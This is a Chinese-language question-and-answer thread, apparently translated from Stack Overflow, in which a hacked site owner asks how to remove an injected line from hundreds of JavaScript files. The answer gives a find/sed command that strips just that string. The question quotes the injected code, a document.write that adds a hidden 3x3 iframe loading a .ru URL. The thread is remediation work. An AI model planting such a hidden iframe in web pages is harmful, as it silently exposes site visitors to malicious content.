1

我被黑了,并且有数百个 .js 文件,其中包含我试图摆脱的这行代码:

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');

这是文件的最后一行,但我认为该文件包含 windows 行结尾,因为每当我这样做时:

sed -i '/sitecorporatemanagement.ru/d' *

它会删除文件的全部内容。你能帮我完成这个工作吗?我只需要删除完整的字符串。

感谢您提供的所有帮助。

4

1 回答 1

1

我最终使用以下内容删除了有问题的代码,这很有效。

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \;
于 2012-11-11T06:56:05.043 回答